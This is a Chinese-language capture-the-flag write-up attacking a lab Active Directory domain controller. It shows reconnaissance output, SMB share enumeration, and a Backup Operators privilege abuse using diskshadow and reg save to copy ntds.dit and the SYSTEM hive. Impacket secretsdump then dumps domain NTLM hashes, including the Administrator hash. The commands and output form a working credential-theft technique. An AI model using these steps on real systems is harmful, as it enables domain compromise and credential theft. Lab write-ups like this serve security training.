nmap -sC -sV -Pn 10.10.10.192 Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-04 13:25 CST Nmap scan report for 10.10.10.192 Host is up (0.077s latency). Not shown: 993 filtered ports PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-08-04 12:25:44Z) 135/tcp open msrpc Microsoft Windows RPC 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=8/4%Time=5F28F15D%P=x86_64-apple-darwin18.6.0%r SF:(DNSVersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07ver SF:sion\x04bind\0\0\x10\0\x03"); Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 205.07 seconds
============================================ | Nbtstat Information for 10.10.10.192 | ============================================ Looking up status of 10.10.10.192 No reply from 10.10.10.192
===================================== | Session Check on 10.10.10.192 | ===================================== Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437. [+] Server 10.10.10.192 allows sessions using username '', password '' Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 451. [+] Got domain/workgroup name:
=========================================== | Getting domain SID for 10.10.10.192 | =========================================== Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 359. Domain Name: BLACKFIELD Domain Sid: S-1-5-21-4194615774-2175524697-3563712290 [+] Host is part of a domain (not a workgroup)
====================================== | OS information on 10.10.10.192 | ====================================== Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 458. Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464. [+] Got OS info for 10.10.10.192 from smbclient: Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 467. [+] Got OS info for 10.10.10.192 from srvinfo: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
============================= | Users on 10.10.10.192 | ============================= Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866. [E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881. [E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED
========================================= | Share Enumeration on 10.10.10.192 | ========================================= Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 640.
Sharename Type Comment --------- ---- ------- SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 10.10.10.192
==================================================== | Password Policy Information for 10.10.10.192 | ==================================================== [E] Unexpected error from polenum:
[!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 501.
[E] Failed to get password policy with rpcclient
============================== | Groups on 10.10.10.192 | ============================== Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.
[+] Getting builtin groups:
[+] Getting builtin group memberships: Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.
[+] Getting local groups:
[+] Getting local group memberships: Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 593.
[+] Getting domain groups:
[+] Getting domain group memberships:
======================================================================= | Users on 10.10.10.192 via RID cycling (RIDS: 500-550,1000-1050) | ======================================================================= Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 710. [E] Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible. Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 742.
============================================= | Getting printer info for 10.10.10.192 | ============================================= Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 991. Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED
enum4linux complete on Fri Jul 17 15:22:05 2020
smbclient
smb可以匿名登录：
1 2 3 4 5 6 7 8 9 10 11 12 13
smbclient -L 10.10.10.192 Enter WORKGROUP\miao's password:
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share forensic Disk Forensic / Audit share. IPC$ IPC Remote IPC NETLOGON Disk Logon server share profiles$ Disk SYSVOL Disk Logon server share SMB1 disabled -- no workgroup available
排除默认的，关注另外两个：
forensic
profiles$
SMB
forensic
这个共享没有权限：
1 2 3 4 5 6
smbclient //10.10.10.192/forensic Enter WORKGROUP\miao's password: Try "help" to get a list of possible commands. smb: \> ls NT_STATUS_ACCESS_DENIED listing \* smb: \>
smbclient //10.10.10.192/profiles$ Enter WORKGROUP\miao's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Wed Jun 3 12:47:12 2020 .. D 0 Wed Jun 3 12:47:12 2020 AAlleni D 0 Wed Jun 3 12:47:11 2020 ABarteski D 0 Wed Jun 3 12:47:11 2020 ABekesz D 0 Wed Jun 3 12:47:11 2020 ABenzies D 0 Wed Jun 3 12:47:11 2020 ABiemiller D 0 Wed Jun 3 12:47:11 2020 AChampken D 0 Wed Jun 3 12:47:11 2020 ACheretei D 0 Wed Jun 3 12:47:11 2020 ACsonaki D 0 Wed Jun 3 12:47:11 2020 AHigchens D 0 Wed Jun 3 12:47:11 2020 AJaquemai D 0 Wed Jun 3 12:47:11 2020 AKlado D 0 Wed Jun 3 12:47:11 2020 AKoffenburger D 0 Wed Jun 3 12:47:11 2020 AKollolli D 0 Wed Jun 3 12:47:11 2020 AKruppe D 0 Wed Jun 3 12:47:11 2020 AKubale D 0 Wed Jun 3 12:47:11 2020 ALamerz D 0 Wed Jun 3 12:47:11 2020 AMaceldon D 0 Wed Jun 3 12:47:11 2020 AMasalunga D 0 Wed Jun 3 12:47:11 2020 ANavay D 0 Wed Jun 3 12:47:11 2020 ANesterova D 0 Wed Jun 3 12:47:11 2020 ANeusse D 0 Wed Jun 3 12:47:11 2020 AOkleshen D 0 Wed Jun 3 12:47:11 2020 APustulka D 0 Wed Jun 3 12:47:11 2020 ARotella D 0 Wed Jun 3 12:47:11 2020 ASanwardeker D 0 Wed Jun 3 12:47:11 2020 AShadaia D 0 Wed Jun 3 12:47:11 2020 ASischo D 0 Wed Jun 3 12:47:11 2020 ASpruce D 0 Wed Jun 3 12:47:11 2020 ATakach D 0 Wed Jun 3 12:47:11 2020 ATaueg D 0 Wed Jun 3 12:47:11 2020 ATwardowski D 0 Wed Jun 3 12:47:11 2020 audit2020 D 0 Wed Jun 3 12:47:11 2020 AWangenheim D 0 Wed Jun 3 12:47:11 2020 AWorsey D 0 Wed Jun 3 12:47:11 2020 AZigmunt D 0 Wed Jun 3 12:47:11 2020 BBakajza D 0 Wed Jun 3 12:47:11 2020 BBeloucif D 0 Wed Jun 3 12:47:11 2020 BCarmitcheal D 0 Wed Jun 3 12:47:11 2020 BConsultant D 0 Wed Jun 3 12:47:11 2020 BErdossy D 0 Wed Jun 3 12:47:11 2020 BGeminski D 0 Wed Jun 3 12:47:11 2020 BLostal D 0 Wed Jun 3 12:47:11 2020 BMannise D 0 Wed Jun 3 12:47:11 2020 BNovrotsky D 0 Wed Jun 3 12:47:11 2020 BRigiero D 0 Wed Jun 3 12:47:11 2020 BSamkoses D 0 Wed Jun 3 12:47:11 2020 BZandonella D 0 Wed Jun 3 12:47:11 2020 CAcherman D 0 Wed Jun 3 12:47:12 2020 CAkbari D 0 Wed Jun 3 12:47:12 2020 CAldhowaihi D 0 Wed Jun 3 12:47:12 2020 CArgyropolous D 0 Wed Jun 3 12:47:12 2020 CDufrasne D 0 Wed Jun 3 12:47:12 2020 CGronk D 0 Wed Jun 3 12:47:11 2020 Chiucarello D 0 Wed Jun 3 12:47:11 2020 Chiuccariello D 0 Wed Jun 3 12:47:12 2020 CHoytal D 0 Wed Jun 3 12:47:12 2020 CKijauskas D 0 Wed Jun 3 12:47:12 2020 CKolbo D 0 Wed Jun 3 12:47:12 2020 CMakutenas D 0 Wed Jun 3 12:47:12 2020 CMorcillo D 0 Wed Jun 3 12:47:11 2020 CSchandall D 0 Wed Jun 3 12:47:12 2020 CSelters D 0 Wed Jun 3 12:47:12 2020 CTolmie D 0 Wed Jun 3 12:47:12 2020 DCecere D 0 Wed Jun 3 12:47:12 2020 DChintalapalli D 0 Wed Jun 3 12:47:12 2020 DCwilich D 0 Wed Jun 3 12:47:12 2020 DGarbatiuc D 0 Wed Jun 3 12:47:12 2020 DKemesies D 0 Wed Jun 3 12:47:12 2020 DMatuka D 0 Wed Jun 3 12:47:12 2020 DMedeme D 0 Wed Jun 3 12:47:12 2020 DMeherek D 0 Wed Jun 3 12:47:12 2020 DMetych D 0 Wed Jun 3 12:47:12 2020 DPaskalev D 0 Wed Jun 3 12:47:12 2020 DPriporov D 0 Wed Jun 3 12:47:12 2020 DRusanovskaya D 0 Wed Jun 3 12:47:12 2020 DVellela D 0 Wed Jun 3 12:47:12 2020 DVogleson D 0 Wed Jun 3 12:47:12 2020 DZwinak D 0 Wed Jun 3 12:47:12 2020 EBoley D 0 Wed Jun 3 12:47:12 2020 EEulau D 0 Wed Jun 3 12:47:12 2020 EFeatherling D 0 Wed Jun 3 12:47:12 2020 EFrixione D 0 Wed Jun 3 12:47:12 2020 EJenorik D 0 Wed Jun 3 12:47:12 2020 EKmilanovic D 0 Wed Jun 3 12:47:12 2020 ElKatkowsky D 0 Wed Jun 3 12:47:12 2020 EmaCaratenuto D 0 Wed Jun 3 12:47:12 2020 EPalislamovic D 0 Wed Jun 3 12:47:12 2020 EPryar D 0 Wed Jun 3 12:47:12 2020 ESachhitello D 0 Wed Jun 3 12:47:12 2020 ESariotti D 0 Wed Jun 3 12:47:12 2020 ETurgano D 0 Wed Jun 3 12:47:12 2020 EWojtila D 0 Wed Jun 3 12:47:12 2020 FAlirezai D 0 Wed Jun 3 12:47:12 2020 FBaldwind D 0 Wed Jun 3 12:47:12 2020 FBroj D 0 Wed Jun 3 12:47:12 2020 FDeblaquire D 0 Wed Jun 3 12:47:12 2020 FDegeorgio D 0 Wed Jun 3 12:47:12 2020 FianLaginja D 0 Wed Jun 3 12:47:12 2020 FLasokowski D 0 Wed Jun 3 12:47:12 2020 FPflum D 0 Wed Jun 3 12:47:12 2020 FReffey D 0 Wed Jun 3 12:47:12 2020 GaBelithe D 0 Wed Jun 3 12:47:12 2020 Gareld D 0 Wed Jun 3 12:47:12 2020 GBatowski D 0 Wed Jun 3 12:47:12 2020 GForshalger D 0 Wed Jun 3 12:47:12 2020 GGomane D 0 Wed Jun 3 12:47:12 2020 GHisek D 0 Wed Jun 3 12:47:12 2020 GMaroufkhani D 0 Wed Jun 3 12:47:12 2020 GMerewether D 0 Wed Jun 3 12:47:12 2020 GQuinniey D 0 Wed Jun 3 12:47:12 2020 GRoswurm D 0 Wed Jun 3 12:47:12 2020 GWiegard D 0 Wed Jun 3 12:47:12 2020 HBlaziewske D 0 Wed Jun 3 12:47:12 2020 HColantino D 0 Wed Jun 3 12:47:12 2020 HConforto D 0 Wed Jun 3 12:47:12 2020 HCunnally D 0 Wed Jun 3 12:47:12 2020 HGougen D 0 Wed Jun 3 12:47:12 2020 HKostova D 0 Wed Jun 3 12:47:12 2020 IChristijr D 0 Wed Jun 3 12:47:12 2020 IKoledo D 0 Wed Jun 3 12:47:12 2020 IKotecky D 0 Wed Jun 3 12:47:12 2020 ISantosi D 0 Wed Jun 3 12:47:12 2020 JAngvall D 0 Wed Jun 3 12:47:12 2020 JBehmoiras D 0 Wed Jun 3 12:47:12 2020 JDanten D 0 Wed Jun 3 12:47:12 2020 JDjouka D 0 Wed Jun 3 12:47:12 2020 JKondziola D 0 Wed Jun 3 12:47:12 2020 JLeytushsenior D 0 Wed Jun 3 12:47:12 2020 JLuthner D 0 Wed Jun 3 12:47:12 2020 JMoorehendrickson D 0 Wed Jun 3 12:47:12 2020 JPistachio D 0 Wed Jun 3 12:47:12 2020 JScima D 0 Wed Jun 3 12:47:12 2020 JSebaali D 0 Wed Jun 3 12:47:12 2020 JShoenherr D 0 Wed Jun 3 12:47:12 2020 JShuselvt D 0 Wed Jun 3 12:47:12 2020 KAmavisca D 0 Wed Jun 3 12:47:12 2020 KAtolikian D 0 Wed Jun 3 12:47:12 2020 KBrokinn D 0 Wed Jun 3 12:47:12 2020 KCockeril D 0 Wed Jun 3 12:47:12 2020 KColtart D 0 Wed Jun 3 12:47:12 2020 KCyster D 0 Wed Jun 3 12:47:12 2020 KDorney D 0 Wed Jun 3 12:47:12 2020 KKoesno D 0 Wed Jun 3 12:47:12 2020 KLangfur D 0 Wed Jun 3 12:47:12 2020 KMahalik D 0 Wed Jun 3 12:47:12 2020 KMasloch D 0 Wed Jun 3 12:47:12 2020 KMibach D 0 Wed Jun 3 12:47:12 2020 KParvankova D 0 Wed Jun 3 12:47:12 2020 KPregnolato D 0 Wed Jun 3 12:47:12 2020 KRasmor D 0 Wed Jun 3 12:47:12 2020 KShievitz D 0 Wed Jun 3 12:47:12 2020 KSojdelius D 0 Wed Jun 3 12:47:12 2020 KTambourgi D 0 Wed Jun 3 12:47:12 2020 KVlahopoulos D 0 Wed Jun 3 12:47:12 2020 KZyballa D 0 Wed Jun 3 12:47:12 2020 LBajewsky D 0 Wed Jun 3 12:47:12 2020 LBaligand D 0 Wed Jun 3 12:47:12 2020 LBarhamand D 0 Wed Jun 3 12:47:12 2020 LBirer D 0 Wed Jun 3 12:47:12 2020 LBobelis D 0 Wed Jun 3 12:47:12 2020 LChippel D 0 Wed Jun 3 12:47:12 2020 LChoffin D 0 Wed Jun 3 12:47:12 2020 LCominelli D 0 Wed Jun 3 12:47:12 2020 LDruge D 0 Wed Jun 3 12:47:12 2020 LEzepek D 0 Wed Jun 3 12:47:12 2020 LHyungkim D 0 Wed Jun 3 12:47:12 2020 LKarabag D 0 Wed Jun 3 12:47:12 2020 LKirousis D 0 Wed Jun 3 12:47:12 2020 LKnade D 0 Wed Jun 3 12:47:12 2020 LKrioua D 0 Wed Jun 3 12:47:12 2020 LLefebvre D 0 Wed Jun 3 12:47:12 2020 LLoeradeavilez D 0 Wed Jun 3 12:47:12 2020 LMichoud D 0 Wed Jun 3 12:47:12 2020 LTindall D 0 Wed Jun 3 12:47:12 2020 LYturbe D 0 Wed Jun 3 12:47:12 2020 MArcynski D 0 Wed Jun 3 12:47:12 2020 MAthilakshmi D 0 Wed Jun 3 12:47:12 2020 MAttravanam D 0 Wed Jun 3 12:47:12 2020 MBrambini D 0 Wed Jun 3 12:47:12 2020 MHatziantoniou D 0 Wed Jun 3 12:47:12 2020 MHoerauf D 0 Wed Jun 3 12:47:12 2020 MKermarrec D 0 Wed Jun 3 12:47:12 2020 MKillberg D 0 Wed Jun 3 12:47:12 2020 MLapesh D 0 Wed Jun 3 12:47:12 2020 MMakhsous D 0 Wed Jun 3 12:47:12 2020 MMerezio D 0 Wed Jun 3 12:47:12 2020 MNaciri D 0 Wed Jun 3 12:47:12 2020 MShanmugarajah D 0 Wed Jun 3 12:47:12 2020 MSichkar D 0 Wed Jun 3 12:47:12 2020 MTemko D 0 Wed Jun 3 12:47:12 2020 MTipirneni D 0 Wed Jun 3 12:47:12 2020 MTonuri D 0 Wed Jun 3 12:47:12 2020 MVanarsdel D 0 Wed Jun 3 12:47:12 2020 NBellibas D 0 Wed Jun 3 12:47:12 2020 NDikoka D 0 Wed Jun 3 12:47:12 2020 NGenevro D 0 Wed Jun 3 12:47:12 2020 NGoddanti D 0 Wed Jun 3 12:47:12 2020 NMrdirk D 0 Wed Jun 3 12:47:12 2020 NPulido D 0 Wed Jun 3 12:47:12 2020 NRonges D 0 Wed Jun 3 12:47:12 2020 NSchepkie D 0 Wed Jun 3 12:47:12 2020 NVanpraet D 0 Wed Jun 3 12:47:12 2020 OBelghazi D 0 Wed Jun 3 12:47:12 2020 OBushey D 0 Wed Jun 3 12:47:12 2020 OHardybala D 0 Wed Jun 3 12:47:12 2020 OLunas D 0 Wed Jun 3 12:47:12 2020 ORbabka D 0 Wed Jun 3 12:47:12 2020 PBourrat D 0 Wed Jun 3 12:47:12 2020 PBozzelle D 0 Wed Jun 3 12:47:12 2020 PBranti D 0 Wed Jun 3 12:47:12 2020 PCapperella D 0 Wed Jun 3 12:47:12 2020 PCurtz D 0 Wed Jun 3 12:47:12 2020 PDoreste D 0 Wed Jun 3 12:47:12 2020 PGegnas D 0 Wed Jun 3 12:47:12 2020 PMasulla D 0 Wed Jun 3 12:47:12 2020 PMendlinger D 0 Wed Jun 3 12:47:12 2020 PParakat D 0 Wed Jun 3 12:47:12 2020 PProvencer D 0 Wed Jun 3 12:47:12 2020 PTesik D 0 Wed Jun 3 12:47:12 2020 PVinkovich D 0 Wed Jun 3 12:47:12 2020 PVirding D 0 Wed Jun 3 12:47:12 2020 PWeinkaus D 0 Wed Jun 3 12:47:12 2020 RBaliukonis D 0 Wed Jun 3 12:47:12 2020 RBochare D 0 Wed Jun 3 12:47:12 2020 RKrnjaic D 0 Wed Jun 3 12:47:12 2020 RNemnich D 0 Wed Jun 3 12:47:12 2020 RPoretsky D 0 Wed Jun 3 12:47:12 2020 RStuehringer D 0 Wed Jun 3 12:47:12 2020 RSzewczuga D 0 Wed Jun 3 12:47:12 2020 RVallandas D 0 Wed Jun 3 12:47:12 2020 RWeatherl D 0 Wed Jun 3 12:47:12 2020 RWissor D 0 Wed Jun 3 12:47:12 2020 SAbdulagatov D 0 Wed Jun 3 12:47:12 2020 SAjowi D 0 Wed Jun 3 12:47:12 2020 SAlguwaihes D 0 Wed Jun 3 12:47:12 2020 SBonaparte D 0 Wed Jun 3 12:47:12 2020 SBouzane D 0 Wed Jun 3 12:47:12 2020 SChatin D 0 Wed Jun 3 12:47:12 2020 SDellabitta D 0 Wed Jun 3 12:47:12 2020 SDhodapkar D 0 Wed Jun 3 12:47:12 2020 SEulert D 0 Wed Jun 3 12:47:12 2020 SFadrigalan D 0 Wed Jun 3 12:47:12 2020 SGolds D 0 Wed Jun 3 12:47:12 2020 SGrifasi D 0 Wed Jun 3 12:47:12 2020 SGtlinas D 0 Wed Jun 3 12:47:12 2020 SHauht D 0 Wed Jun 3 12:47:12 2020 SHederian D 0 Wed Jun 3 12:47:12 2020 SHelregel D 0 Wed Jun 3 12:47:12 2020 SKrulig D 0 Wed Jun 3 12:47:12 2020 SLewrie D 0 Wed Jun 3 12:47:12 2020 SMaskil D 0 Wed Jun 3 12:47:12 2020 Smocker D 0 Wed Jun 3 12:47:12 2020 SMoyta D 0 Wed Jun 3 12:47:12 2020 SRaustiala D 0 Wed Jun 3 12:47:12 2020 SReppond D 0 Wed Jun 3 12:47:12 2020 SSicliano D 0 Wed Jun 3 12:47:12 2020 SSilex D 0 Wed Jun 3 12:47:12 2020 SSolsbak D 0 Wed Jun 3 12:47:12 2020 STousignaut D 0 Wed Jun 3 12:47:12 2020 support D 0 Wed Jun 3 12:47:12 2020 svc_backup D 0 Wed Jun 3 12:47:12 2020 SWhyte D 0 Wed Jun 3 12:47:12 2020 SWynigear D 0 Wed Jun 3 12:47:12 2020 TAwaysheh D 0 Wed Jun 3 12:47:12 2020 TBadenbach D 0 Wed Jun 3 12:47:12 2020 TCaffo D 0 Wed Jun 3 12:47:12 2020 TCassalom D 0 Wed Jun 3 12:47:12 2020 TEiselt D 0 Wed Jun 3 12:47:12 2020 TFerencdo D 0 Wed Jun 3 12:47:12 2020 TGaleazza D 0 Wed Jun 3 12:47:12 2020 TKauten D 0 Wed Jun 3 12:47:12 2020 TKnupke D 0 Wed Jun 3 12:47:12 2020 TLintlop D 0 Wed Jun 3 12:47:12 2020 TMusselli D 0 Wed Jun 3 12:47:12 2020 TOust D 0 Wed Jun 3 12:47:12 2020 TSlupka D 0 Wed Jun 3 12:47:12 2020 TStausland D 0 Wed Jun 3 12:47:12 2020 TZumpella D 0 Wed Jun 3 12:47:12 2020 UCrofskey D 0 Wed Jun 3 12:47:12 2020 UMarylebone D 0 Wed Jun 3 12:47:12 2020 UPyrke D 0 Wed Jun 3 12:47:12 2020 VBublavy D 0 Wed Jun 3 12:47:12 2020 VButziger D 0 Wed Jun 3 12:47:12 2020 VFuscca D 0 Wed Jun 3 12:47:12 2020 VLitschauer D 0 Wed Jun 3 12:47:12 2020 VMamchuk D 0 Wed Jun 3 12:47:12 2020 VMarija D 0 Wed Jun 3 12:47:12 2020 VOlaosun D 0 Wed Jun 3 12:47:12 2020 VPapalouca D 0 Wed Jun 3 12:47:12 2020 WSaldat D 0 Wed Jun 3 12:47:12 2020 WVerzhbytska D 0 Wed Jun 3 12:47:12 2020 WZelazny D 0 Wed Jun 3 12:47:12 2020 XBemelen D 0 Wed Jun 3 12:47:12 2020 XDadant D 0 Wed Jun 3 12:47:12 2020 XDebes D 0 Wed Jun 3 12:47:12 2020 XKonegni D 0 Wed Jun 3 12:47:12 2020 XRykiel D 0 Wed Jun 3 12:47:12 2020 YBleasdale D 0 Wed Jun 3 12:47:12 2020 YHuftalin D 0 Wed Jun 3 12:47:12 2020 YKivlen D 0 Wed Jun 3 12:47:12 2020 YKozlicki D 0 Wed Jun 3 12:47:12 2020 YNyirenda D 0 Wed Jun 3 12:47:12 2020 YPredestin D 0 Wed Jun 3 12:47:12 2020 YSeturino D 0 Wed Jun 3 12:47:12 2020 YSkoropada D 0 Wed Jun 3 12:47:12 2020 YVonebers D 0 Wed Jun 3 12:47:12 2020 YZarpentine D 0 Wed Jun 3 12:47:12 2020 ZAlatti D 0 Wed Jun 3 12:47:12 2020 ZKrenselewski D 0 Wed Jun 3 12:47:12 2020 ZMalaab D 0 Wed Jun 3 12:47:12 2020 ZMiick D 0 Wed Jun 3 12:47:12 2020 ZScozzari D 0 Wed Jun 3 12:47:12 2020 ZTimofeeff D 0 Wed Jun 3 12:47:12 2020 ZWausik D 0 Wed Jun 3 12:47:12 2020
7846143 blocks of size 4096. 3829343 blocks available smb: \>
smbclient //10.10.10.192/forensic -U audit2020 Enter WORKGROUP\audit2020's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Sun Feb 23 08:03:16 2020 .. D 0 Sun Feb 23 08:03:16 2020 commands_output D 0 Sun Feb 23 13:14:37 2020 memory_analysis D 0 Thu May 28 16:28:33 2020 tools D 0 Sun Feb 23 08:39:08 2020
7846143 blocks of size 4096. 3958682 blocks available smb: \>
User Name SID ===================== ============================================== blackfield\svc_backup S-1-5-21-4194615774-2175524697-3563712290-1413
GROUP INFORMATION -----------------
Group Name Type SID Attributes ========================================== ================ ============ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION -----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
注意这个用户在BUILTIN\Backup Operators组里，并且有
1
SeBackupPrivilege Back up files and directories Enabled
权限，那么我们需要做的就是备份NTDS.dit文件和system注册表文件。
diskshadow
主要就是卷影备份，我们创建一个文件，里面是执行diskshadow时运行的命令：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
*Evil-WinRM* PS C:\temp> upload miao.txt Info: Uploading miao.txt to C:\temp\miao.txt
Data: 124 bytes of 124 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\temp> type miao.txt SET CONTEXT PERSISTENT NOWRITERS add volume c: alias miao create expose %miao% z:
*Evil-WinRM* PS C:\temp>
然后执行这个脚本：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
*Evil-WinRM* PS C:\temp> diskshadow /s miao.txt Microsoft DiskShadow version 1.0 Copyright (C) 2013 Microsoft Corporation On computer: DC01, 8/4/2020 7:06:03 AM
CLIENTACCESSIBLE Specify to create shadow copies usable by client versions of Windows. PERSISTENT Specify that shadow copy is persist across program exit, reset or reboot. PERSISTENT NOWRITERS Specify that shadow copy is persistent and all writers are excluded. VOLATILE Specify that shadow copy will be deleted on exit or reset. VOLATILE NOWRITERS Specify that shadow copy is volatile and all writers are excluded.
Example: SET CONTEXT CLIENTACCESSIBLE
我们在每一个行都添加一个字符，然后再次上传：
1 2 3 4 5 6 7 8 9 10 11 12 13
*Evil-WinRM* PS C:\temp> upload miao.txt Info: Uploading miao.txt to C:\temp\miao.txt
Data: 116 bytes of 116 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\temp> type miao.txt SET CONTEXT PERSISTENT NOWRITERS# add volume c: alias miao# create# expose %miao% z:#
*Evil-WinRM* PS C:\temp> diskshadow /s miao.txt Microsoft DiskShadow version 1.0 Copyright (C) 2013 Microsoft Corporation On computer: DC01, 8/4/2020 7:11:15 AM
-> SET CONTEXT PERSISTENT NOWRITERS -> add volume c: alias miao -> create Alias miao for shadow ID {14f68d2c-dbf0-4077-98b3-5d18ffc48c9c} set as environment variable. Alias VSS_SHADOW_SET for shadow set ID {253f50b3-b12d-44e3-b628-43196525e8b6} set as environment variable.
Querying all shadow copies with the shadow copy set ID {253f50b3-b12d-44e3-b628-43196525e8b6}
* Shadow copy ID = {14f68d2c-dbf0-4077-98b3-5d18ffc48c9c} %miao% - Shadow copy set: {253f50b3-b12d-44e3-b628-43196525e8b6} %VSS_SHADOW_SET% - Original count of shadow copies = 1 - Original volume name: \\?\Volume{351b4712-0000-0000-0000-602200000000}\ [C:\] - Creation time: 8/4/2020 7:11:17 AM - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 - Originating machine: DC01.BLACKFIELD.local - Service machine: DC01.BLACKFIELD.local - Not exposed - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5} - Attributes: No_Auto_Release Persistent No_Writers Differential
Number of shadow copies listed: 1 -> expose %miao% z: -> %miao% = {14f68d2c-dbf0-4077-98b3-5d18ffc48c9c} The shadow copy was successfully exposed as z:\.
*Evil-WinRM* PS C:\temp> reg save HKLM\SYSTEM c:\temp\system The operation completed successfully.
*Evil-WinRM* PS C:\temp> download system Info: Downloading C:\temp\system to system
Info: Download successful!
*Evil-WinRM* PS C:\temp> download ndts.dit Info: Downloading C:\temp\ndts.dit to ndts.dit
Info: Download successful!
*Evil-WinRM* PS C:\temp>
Dump NTLM
然后就是通过ntds.dit和system dump NTLM：
1 2 3 4 5 6 7 8 9 10 11 12 13 14
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -ntds ndts.dit -system system -hashes lmhash:nthash LOCAL -output nt-hash > dump.txt # 因为前面也看到很多无效账号，输出非常多 head dump.txt Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393 [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Searching for pekList, be patient [*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c [*] Reading and decrypting hashes from ndts.dit Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DC01$:1000:aad3b435b51404eeaad3b435b51404ee:65557f7ad03ac340a7eb12b9462f80d6:::
